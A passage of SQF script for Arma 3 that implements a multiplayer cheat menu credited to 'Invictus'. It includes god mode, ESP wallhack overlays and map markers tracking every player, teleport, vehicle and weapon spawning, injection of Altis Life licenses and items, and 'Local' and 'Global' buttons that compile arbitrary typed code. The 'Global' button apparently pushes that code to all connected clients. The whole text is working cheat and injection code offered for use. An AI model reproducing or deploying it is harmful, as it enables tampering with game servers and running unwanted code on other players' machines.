uiNamespace setVariable ["IGUIBack_7", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,0.4,0.0015,0.68];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_8", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,-0.28,0.0015,0.68];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_9", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.725,-0.28,0.0015,0.68];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_10", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.725,0.4,0.0015,0.683];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_11", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.125,-0.28,0.0015,0.68];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_12", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.125,0.4,0.0015,0.68];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_13", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.175,-0.28,0.0015,0.68];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_14", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.175,0.4,0.0015,0.68];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_15", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,0.394184,0.55,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_16", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,0.4,0.55,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_17", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.675,1.08,0.55,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_18", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.175,0.4,0.55,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_19", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.175,1.08,0.55,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_20", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.175,0.394184,0.55,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_21", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.175,-0.28,0.55,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_22", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.1125,-0.28,0.0015,1.36];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_23", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [1.1625,-0.28,0.0015,1.36];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_24", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.1125,-0.28,1.275,0.0015];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_25", _back];
_back = _display ctrlCreate ["IGUIBack", -1];
_back ctrlSetPosition [-0.1125,1.08,1.275,0.0025];
_back ctrlSetBackgroundColor [0.6,0,0,1];
_back ctrlCommit 0.0;
uiNamespace setVariable ["IGUIBack_26", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [-0.2125,1.2,0.25,0.06];
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.45];
_back ctrlSetText "Local";
_back ctrlCommit 0.0;
_back buttonSetAction '_edit = uiNamespace getVariable "RscEdit"; _text = ctrlText _edit; call compile format ["%1",_text];';
uiNamespace setVariable ["RscButtonMenu_1", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [0.3375,1.2,0.25,0.06];
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
_back ctrlSetText "Get File";
_back ctrlCommit 0.0;
_back buttonSetAction '[] spawn O_fnc_ArmAFile';
uiNamespace setVariable ["RscButtonMenu_2", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [1.125,1.2,0.25,0.06];
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
_back ctrlSetText "Global";
_back ctrlCommit 0.0;
_back buttonSetAction '_edit = uiNamespace getVariable "RscEdit"; _text = ctrlText _edit; call compile format ["[{%1},true] call O_fnc_ArmA",_text];';
uiNamespace setVariable ["RscButtonMenu_3", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [0.5125,0.72,0.206079,0.0460789];
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
_back ctrlSetText "Heal";
_back ctrlCommit 0.0;
_back buttonSetAction 'player setDammage 0; vehicle player setDammage 0; vehicle player setFuel 1000;';
uiNamespace setVariable ["RscButtonMenu_4", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [0.5125,0.66,0.206079,0.0460789];
if (isNil "O_fnc_GodButton")then{
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
}else{
_back ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
};
_back ctrlSetText "GodMode";
_back ctrlCommit 0.0;
_back buttonSetAction 'if (isNil "O_fnc_GodButton")then{player allowDamage false; O_fnc_GodButton = true; (uiNamespace getVariable "RscButtonMenu_5") ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];}else{player allowDamage true; O_fnc_GodButton = nil; (uiNamespace getVariable "RscButtonMenu_5") ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];};';
uiNamespace setVariable ["RscButtonMenu_5", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [0.5125,0.78,0.206079,0.0460789];
if (isNil "O_fnc_DummyID")then{
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
}else{
_back ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
};
_back ctrlSetText "Dummy";
_back ctrlCommit 0.0;
_back buttonSetAction 'if (isNil "O_fnc_DummyID")then{(uiNamespace getVariable "RscButtonMenu_6") ctrlSetBackgroundColor [0.4,0.98,0.02,0.65]; [] spawn O_fnc_CPerson}else{_player = O_fnc_DummyID; selectPlayer _player; vehicle _player switchCamera "EXTERNAL"; O_fnc_DummyID = nil; (uiNamespace getVariable "RscButtonMenu_6") ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];};';
uiNamespace setVariable ["RscButtonMenu_6", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [0.5125,0.84,0.206079,0.0460789];
if (isNil "O_fnc_MapMarkerButton")then{
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
}else{
_back ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
};
_back ctrlSetText "Map Marker";
_back ctrlCommit 0.0;
_back buttonSetAction '[] spawn{
if (isNil "O_fnc_MapMarkerButton")then{
(uiNamespace getVariable "RscButtonMenu_7") ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
O_fnc_MapMarkerButton = true;
O_fnc_Markers = [];
while{!isNil "O_fnc_MapMarkerButton"} do {
{
if !(_x in allUnits) then {
deleteMarkerLocal str _x;
};
} forEach O_fnc_Markers;
O_fnc_Markers = [];
{
if(alive _x && isplayer _x) then {
deleteMarkerLocal str _x;
_playmarksss = createMarkerLocal [str _x,getpos _x];
_playmarksss setMarkerTypeLocal "waypoint";
_playmarksss setMarkerPosLocal getPos _x;
_playmarksss setMarkerSizeLocal [0.8,0.8];
_playmarksss setMarkerTextLocal format["%1 - %2",name _x, side _x, netID _x];
_playmarksss setMarkerColorLocal ("ColorGreen");
O_fnc_Markers = O_fnc_Markers + [_x];
};
} forEach allUnits;
sleep 0.5;
};
}else{
{
deleteMarkerLocal str _x;
} forEach O_fnc_Markers;
O_fnc_MapMarkerButton = nil;
(uiNamespace getVariable "RscButtonMenu_7") ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
};
};
';
uiNamespace setVariable ["RscButtonMenu_7", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [0.5125,0.9,0.206079,0.0460789];
if (isNil "O_fnc_ESPButton")then{
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
}else{
_back ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
};
_back ctrlSetText "ESP";
_back ctrlCommit 0.0;
_back buttonSetAction '
if (isNil "O_fnc_ESPButton")then{
O_fnc_ESPButton = true;
(uiNamespace getVariable "RscButtonMenu_8") ctrlSetBackgroundColor [0.4,0.98,0.02,0.65];
onEachFrame {
{
if(side _x != side player && ((player distance _x) < 700) && isPlayer _x) then {
drawIcon3D ["", [1,0,0,0.7], position _x, 1, 1, 45,player distance _x + " " + name _x, 1, 0.03, "PuristaBold"]
}else{
if (alive _x && ((player distance _x) < 700) && isPlayer _x) then{
drawIcon3D ["", [0,1,0.5,0.4], position _x, 1, 1, 45, player distance _x + " " + name _x, 1, 0.03, "PuristaBold"]
};
};
} foreach allUnits;
_mans = nearestobjects [player,["man"],100];
{
if(alive _x && ((player distance _x) < 700) && isPlayer _x) then {
if(side _x != side player) then {
if(player distance _x < 5 && _x iskindof "man" && side _x != civilian && isPlayer _x) then {
drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [1,0.2,0.3,(abs((((player distance _x)) - 100)/100))]]
}else{
drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [1,0,0,(abs((((player distance _x)) - 100)/100))]]
};
}else{
drawLine3D [[getposatl player select 0, getposatl player select 1, 1], _x, [0,1,0,(abs((((player distance _x)) - 100)/100))]]};
};
}foreach _mans;
};
}else{
onEachFrame {};
O_fnc_ESPButton = nil;
(uiNamespace getVariable "RscButtonMenu_8") ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
};
';
uiNamespace setVariable ["RscButtonMenu_8", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [0.5125,0.96,0.206079,0.0460789];
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
_back ctrlSetText "Teleport";
_back ctrlCommit 0.0;
_back buttonSetAction 'onMapSingleClick "vehicle player setPos _pos; onMapSingleClick """";"; openMap true;(findDisplay 49) closeDisplay 0;';
uiNamespace setVariable ["RscButtonMenu_9", _back];
_back = _display ctrlCreate ["RscButtonMenu", -1];
_back ctrlSetPosition [0.5125,1.02,0.206079,0.0460789];
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
_back ctrlSetText "Refresh";
_back ctrlCommit 0.0;
_back buttonSetAction '
disableserialization;
_ctrl = uiNamespace getVariable "RscListbox_6";
if(!isNull _ctrl) then {
_ctrl spawn O_fnc_PlayerList;
};
';
uiNamespace setVariable ["RscButtonMenu_10", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.1,-0.26,0.3125,0.04];
_back ctrlSetText format ["Name: %1",name player];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_1", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.1,-0.2,0.425,0.04];
_back ctrlSetText format ["PlayerID: %1",str (getPlayerUID player)];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_2", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.1,-0.14,0.3125,0.04];
_back ctrlSetText format ["OwnerID: %1",owner player];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_3", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [0.225,-0.24,0.2875,0.04];
_back ctrlSetText format ["Coded by: Invictus"];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_4", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [0.8375,-0.14,0.5,0.04];
_frames = round(diag_fpsmin) + 10;
_back ctrlSetText format ["FPS: %1",_frames];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_5", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [-0.1,-0.08,0.3125,0.04];
_back ctrlSetText format ["netID: %1",netID player];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_6", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [0.8375,-0.08,0.3125,0.04];
_back ctrlSetText format ["Server: %1",Servername];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_7", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [0.225,-0.45,0.6,0.14];
_back ctrlSetStructuredText parseText format["<t size='1.25' font='puristaBold' color='#ff0000' valign='bottom' align='center' shadow='true'><t shadowColor='#000000'>Invictus</t>"];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_8", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [0.5675,-0.24,0.2875,0.04];
_back ctrlSetText format ["Functions: 476"];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_9", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [0.8375,-0.2,0.3125,0.04];
_back ctrlSetText format ["Players: %1",count(playableUnits)];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_10", _back];
_back = _display ctrlCreate ["RscStructuredText", -1];
_back ctrlSetPosition [0.8375,-0.26,0.3125,0.04];
_damage = getDammage player;
_back ctrlSetText format ["Health: %1",(((1-_damage)*100)-((1-_damage)*100 mod 1))];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscStructuredText_11", _back];
_back = _display ctrlCreate ["RscEdit", -1];
_back ctrlSetPosition [-0.207941,1.13797,1.58108,0.0498683];
_back ctrlSetBackgroundColor [0.4,0.89,0.94,0.65];
_back ctrlSetTextColor [0,0,0,0.5];
_back ctrlSetText format ["Enter the Code/File you want to execute/download.."];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscEdit", _back];
_back = _display ctrlCreate ["RscCombo", -1];
_back ctrlSetPosition [0.7625,0.64,0.3875,0.04];
_back ctrlCommit 0.0;
_back call O_fnc_Subs;
_back ctrlAddEventHandler ["LBSelChanged",{_this spawn O_fnc_SubsSelected;}];
uiNamespace setVariable ["RscCombo", _back];
_back = _display ctrlCreate ["RscTree", -1];
_back ctrlSetPosition [1.175,-0.28,0.55,0.674184];
_back ctrlSetBackgroundColor [0,0,0,0.2];
_back ctrlCommit 0.0;
_back call O_fnc_Vehicle;
_back ctrlAddEventHandler ["TreeDblClick",{disableSerialization; (_this select 0) spawn O_fnc_VehicleDbc}];
uiNamespace setVariable ["RscListbox_1", _back];
_back = _display ctrlCreate ["RscTree", -1];
_back ctrlSetPosition [1.175,0.4,0.55,0.68];
_back ctrlSetBackgroundColor [0,0,0,0.2];
_back ctrlCommit 0.0;
_back call O_fnc_altisLifeLicenses;
_back ctrlAddEventHandler ["TreeDblClick",{disableSerialization; (_this select 0) spawn O_fnc_altisLifeLicensesDbc}];
uiNamespace setVariable ["RscListbox_2", _back];
_back = _display ctrlCreate ["RscTree", -1];
_back ctrlSetPosition [-0.675,0.4,0.55,0.68];
_back ctrlSetBackgroundColor [0,0,0,0.2];
_back ctrlCommit 0.0;
_back call O_fnc_altisLifeItems;
_back ctrlAddEventHandler ["TreeDblClick",{disableSerialization; (_this select 0) spawn O_fnc_altisLifeItemsDbc}];
uiNamespace setVariable ["RscListbox_3", _back];
_back = _display ctrlCreate ["RscTree", -1];
_back ctrlSetPosition [-0.675,-0.28,0.55,0.674184];
_back ctrlSetBackgroundColor [0,0,0,0.2];
_back ctrlCommit 0.0;
_back call O_fnc_Waffen;
_back ctrlAddEventHandler ["TreeDblClick",{disableSerialization; (_this select 0) spawn O_fnc_WaffenDbc}];
uiNamespace setVariable ["RscListbox_4", _back];
_back = _display ctrlCreate ["RscListbox", -1];
_back ctrlSetPosition [-0.1,0,1.25,0.64];
_back ctrlSetBackgroundColor [0,0,0,0.2];
_back ctrlCommit 0.0;
uiNamespace setVariable ["RscListbox_5", _back];
_back = _display ctrlCreate ["RscTree", -1];
_back ctrlSetPosition [-0.1,0.66,0.607941,0.404053];
_back ctrlSetBackgroundColor [0.99,0.97,0.78,0.25];
_back ctrlCommit 0.0;
_back call O_fnc_PlayerList;
uiNamespace setVariable ["RscListbox_6", _back];
};
O_fnc_SubLoad = {
disableserialization;
_ctrl = _this select 0;
_array = _this select 1;
lbClear _ctrl;
{
_isToggle = _x select 3;
_toggle = _x select 2;
_color = [0,0.45,0.84,1];
if(_isToggle) then {
_value = call compile format["if(isNil '%1') then {%1 = false;};%1",_toggle];
if(_value) then {
_color = [0,1,0,1];
} else {
_color = [1,0,0,1];
};
};
_ctrl lbAdd (_x select 0);
_ctrl lbSetColor [_forEachIndex,_color];
} forEach _array;
};
O_fnc_SubsSelected = {
disableserialization;
_index = _this select 1;
_item = O_fnc_SubOrder select _index;
_array = _item select 1;
_ctrl = uiNamespace getVariable "RscListbox_5";
[_ctrl,_array] call O_fnc_SubLoad;
};
O_fnc_Vehicle = {
disableSerialization;
_ctrl = _this;
O_fnc_Cars = [];
_cfg = configFile >> "cfgVehicles";
for "_i" from 0 to count (_cfg)-1 do {
if(isNull _ctrl) exitWith {O_fnc_Cars = nil;};
_config = _cfg select _i;
if(isClass _config)then{
_cname = configName _config;
_scope = getNumber(_config >> "scope");
_pic = getText(_config >> "picture");
_name = getText(_config >> "displayName");
if (_scope == 2 && (_cname isKindOf "LandVehicle" || _cname isKindOf "Air" || _cname isKindOf "Ship") && _pic !="" &&!((_cname isKindOf"ParachuteBase") || (_cname isKindOf"BIS_Steerable_Parachute"))) then {
O_fnc_Cars = O_fnc_Cars + [[_name,_cname,_pic]];
};
};
};
{
_array = _x;
_text = _array select 0;
_data = _array select 1;
_image = _array select 2;
_index = _ctrl tvAdd[[],_text];
_ctrl tvSetPicture [[_index],_image];
_ctrl tvSetData [[_index],_data];
} forEach O_fnc_Cars;
};
O_fnc_altisLifeItems = {
disableserialization;
_ctrl = _this;
if (O_fnc_Modus == "AltisLife")then{
O_fnc_invItems = [];
if (!isNil "life_licenses")then{
if (!isNil "life_inv_items")then{
if (!isNil "life_fnc_varToStr")then{
{
_name = [_x] call life_fnc_varToStr;
O_fnc_invItems = O_fnc_invItems + [[_name,_x]];
}foreach life_inv_items;
};
};
}else{
if (!isNil "Schnitzel_inv_items")then{
if (!isNil "Schnitzel_fnc_varToStr")then{
{
_name = [_x] call Schnitzel_fnc_varToStr;
O_fnc_invItems = O_fnc_invItems + [[_name,_x]];
}foreach Schnitzel_inv_items;
};
}else{
{
_var = getText(missionConfigFile >> "VirtualItems" >> str (_x) >> "variable");
_name = getText(missionConfigFile >> "VirtualItems" >> str (_x) >> "displayName");
O_fnc_invItems = O_fnc_invItems + [[_name,_var]];
}foreach ("true" configClasses (missionConfigFile >> "VirtualItems"));
};
};
{
_array = _x;
_text = _array select 0;
_data = _array select 1;
if (typeName _text == "STRING")then{
_index = _ctrl tvAdd[[],_text];
_ctrl tvSetData [[_index],_data];
};
} forEach O_fnc_invItems;
}else{
};
};
O_fnc_altisLifeItemsDbc= {
disableSerialization;
_ctrl = _this;
_curSelArr = tvCurSel _ctrl;
_truepath = [_curSelArr select 0];
_data = _ctrl tvData _truepath;
_iname = _data;
missionNamespace setVariable[_iname,15];
};
O_fnc_altisLifeLicenses = {
disableserialization;
_ctrl = _this;
if (O_fnc_Modus == "AltisLife")then{
O_fnc_invLicenses = [];
if (!isNil "life_licenses")then{
if (!isNil "life_fnc_varToStr")then{
{
_lVar = (_x select 0);
_name = [_lVar] call life_fnc_varToStr;
O_fnc_invLicenses = O_fnc_invLicenses + [[_name,_lVar]];
}foreach life_licenses;
};
}else{
if (!isNil "Schnitzel_licenses")then{
if (!isNil "Schnitzel_fnc_varToStr")then{
{
_lVar = (_x select 0);
_name = [_lVar] call Schnitzel_fnc_varToStr;
O_fnc_invLicenses = O_fnc_invLicenses + [[_name,_lVar]];
}foreach Schnitzel_licenses;
};
};
};
{
_array = _x;
_text = _array select 0;
_data = _array select 1;
if (typeName _text == "STRING")then{
_index = _ctrl tvAdd[[],_text];
_ctrl tvSetData [[_index],_data];
};
} forEach O_fnc_invLicenses;
}else{
};
};
//4decrypt
O_fnc_altisLifeLicensesDbc= {
disableSerialization;
_ctrl = _this;
_curSelArr = tvCurSel _ctrl;
_truepath = [_curSelArr select 0];
_data = _ctrl tvData _truepath;
_lname = _data;
missionNamespace setVariable[_lname,true];
};
O_fnc_playerside = {
disableSerialization;
_object = _this;
_side = side _object;
_flag = "A3\ui_f\data\gui\rsc\RscDisplayMultiplayerSetup\flag_civil_ca.paa";
if(_side == east) then {
_flag = "A3\ui_f\data\gui\rsc\RscDisplayMultiplayerSetup\flag_opfor_ca.paa";
};
if(_side == west) then {
_flag = "\A3\ui_f\data\gui\rsc\RscDisplayMultiplayerSetup\flag_bluefor_ca.paa";
};
if(_side == INDEPENDENT) then {
_flag = "A3\ui_f\data\gui\rsc\RscDisplayMultiplayerSetup\flag_indep_ca.paa";
};
_flag;
};
O_fnc_PlayerList = {
disableserialization;
_ctrl = _this;
tvClear _ctrl;
_units = [];
{
if(isPlayer _x) then {player reveal _x;_units set[count(_units),_x];};
} forEach allunits;
{
if(alive _x && side _x == blufor) then {
_flag = _x call O_fnc_playerside;
_mainIndex = _ctrl tvAdd[[],name _x];
_ctrl tvSetPicture [[_mainIndex],_flag];
_ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
_ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
_wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
_magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
{
_text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
_wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
_ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
} forEach (weapons player);
_magInfo = [];
_magCount = [];
{
if !(_x in _magInfo) then {
_magInfo set[count(_magInfo),_x];
_magCount set[count(_magCount),1];
} else {
_cnt = _magCount select (_magInfo find _x);
_magCount set[count(_magCount),_cnt+1];
};
} forEach (magazines player);
{
_count = _magCount select _forEachIndex;
_text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
_wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
} forEach _magInfo;
};
} forEach _units;
{
if(alive _x && side _x == opfor) then {
_flag = _x call O_fnc_playerside;
_mainIndex = _ctrl tvAdd[[],name _x];
_ctrl tvSetPicture [[_mainIndex],_flag];
_ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
_ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
_wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
_magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
{
_text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
_wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
_ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
} forEach (weapons player);
_magInfo = [];
_magCount = [];
{
if !(_x in _magInfo) then {
_magInfo set[count(_magInfo),_x];
_magCount set[count(_magCount),1];
} else {
_cnt = _magCount select (_magInfo find _x);
_magCount set[count(_magCount),_cnt+1];
};
} forEach (magazines player);
{
_count = _magCount select _forEachIndex;
_text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
_wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
} forEach _magInfo;
};
} forEach _units;
{
if(alive _x && side _x == independent) then {
_flag = _x call O_fnc_playerside;
_mainIndex = _ctrl tvAdd[[],name _x];
_ctrl tvSetPicture [[_mainIndex],_flag];
_ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
_ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
_wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
_magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
{
_text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
_wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
_ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
} forEach (weapons player);
_magInfo = [];
_magCount = [];
{
if !(_x in _magInfo) then {
_magInfo set[count(_magInfo),_x];
_magCount set[count(_magCount),1];
} else {
_cnt = _magCount select (_magInfo find _x);
_magCount set[count(_magCount),_cnt+1];
};
} forEach (magazines player);
{
_count = _magCount select _forEachIndex;
_text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
_wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
} forEach _magInfo;
};
} forEach _units;
{
if(alive _x && side _x == civilian) then {
_flag = _x call O_fnc_playerside;
_mainIndex = _ctrl tvAdd[[],name _x];
_ctrl tvSetPicture [[_mainIndex],_flag];
_ctrl tvAdd[[_mainIndex],"UID: " + (getplayeruid _x)];
_ctrl tvAdd[[_mainIndex],"NETID: " + (netid _x)];
_wepIndex = _ctrl tvAdd[[_mainIndex],"Weapons"];
_magIndex = _ctrl tvAdd[[_mainIndex],"Magazines"];
{
_text = getText(configFile >> "cfgWeapons" >> _x >> "displayName");
_wep = _ctrl tvAdd[[_mainIndex,_wepIndex],"Name: " + _text];
_ctrl tvAdd[[_mainIndex,_wepIndex,_wep],"Type: " + _x];
} forEach (weapons player);
_magInfo = [];
_magCount = [];
{
if !(_x in _magInfo) then {
_magInfo set[count(_magInfo),_x];
_magCount set[count(_magCount),1];
} else {
_cnt = _magCount select (_magInfo find _x);
_magCount set[count(_magCount),_cnt+1];
};
} forEach (magazines player);
{
_count = _magCount select _forEachIndex;
_text = getText(configFile >> "cfgMagazines" >> _x >> "displayName");
_wep = _ctrl tvAdd[[_mainIndex,_magIndex],"Name: " + _text];
_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Type: " + _x];
_ctrl tvAdd[[_mainIndex,_magIndex,_wep],"Count: " + str(_count)];
} forEach _magInfo;
};
} forEach _units;
};
O_fnc_VehicleDbc = {
disableSerialization;
_ctrl = _this;
_curSelArr = tvCurSel _ctrl;
_truepath = [_curSelArr select 0];
_data = _ctrl tvData _truepath;
_vname = _data;
_name = _vname;
_pos = position player;
_dir = getdir player;
_obj = _name createVehicle _pos;
_obj setDir _dir;
if (!isNil "life_vehicles")then{
_nearVehicles = nearestObjects [getPos player,["Car","Truck","Air"],80];
if(count _nearVehicles == 0) exitWith {};
{
_plate = round(random(1000000));
_x setDamage 0;
life_vehicles set[count life_vehicles,_x];
_x setVariable["dbInfo",["751267613374118",_plate]];
}forEach _nearVehicles;
};
};
O_fnc_Subs = {
disableserialization;
_combo = _this;
{
_text = _x select 0;
_combo lbAdd _text;
} forEach O_fnc_SubOrder;
};
O_fnc_Waffen = {
disableserialization;
_ctrl = _this;
O_fnc_Weapons = [];
_cfg = configFile >> "cfgWeapons";
for "_i" from 0 to count (_cfg)-1 do {
_config = _cfg select _i;
if(isClass _config)then{
_cname = configName _config;
_scope = getNumber(_config >> "scope");
_pic = getText(_config >> "picture");
_name = getText(_config >> "displayName");
if(_scope == 2 && _pic != "" && _name != "") then {
O_fnc_Weapons = O_fnc_Weapons + [[_name,_cname,_pic]]
};
};
};
{
_array = _x;
_text = _array select 0;
_data = _array select 1;
_image = _array select 2;
_index = _ctrl tvAdd[[],_text];
_ctrl tvSetPicture [[_index],_image];
_ctrl tvSetData [[_index],_data];
} forEach O_fnc_Weapons;
};
O_fnc_WaffenDbc = {
disableSerialization;
_ctrl = _this;
_curSelArr = tvCurSel _ctrl;
